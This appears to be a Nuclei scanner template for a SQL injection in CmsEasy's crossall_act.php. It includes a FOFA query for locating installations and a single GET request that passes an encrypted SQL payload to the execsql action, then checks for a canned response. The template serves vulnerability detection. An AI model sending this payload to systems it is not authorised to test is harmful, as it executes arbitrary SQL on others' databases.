id: cmseasy-crossall-sqli

info:
  name: CmsEasy crossall_act - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    CmsEasy crossall_act.php SQL Injection Vulnerability. CmsEasy has a SQL injection vulnerability. Any SQL command can be executed by encrypting the SQL statement in the file service.php.
  reference:
    - https://cn-sec.com/archives/1580677.html
    - https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/goby_pocs/CmsEasy_crossall_act.php_SQL_injection_vulnerability.json#L28
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="CmsEasy"
    product: cmseasy
    vendor: cmseasy
  tags: cmseasy,sqli

  classification:
    cpe: cpe:2.3:a:cmseasy:cmseasy:*:*:*:*:*:*:*:*
http:
  - method: GET
    path:
      - "{{BaseURL}}/?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"123":"123"}'

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100929d88207cf831719af940ad7c2cd665c6083d14880dda52fe45a37b98f59569022033701fb59cda3f31a1f6aff6ff1e6e22d1ab3605b1dbcfeda80ebbc6a5c2bcd0:922c64590222798bb761d5b6d8e72950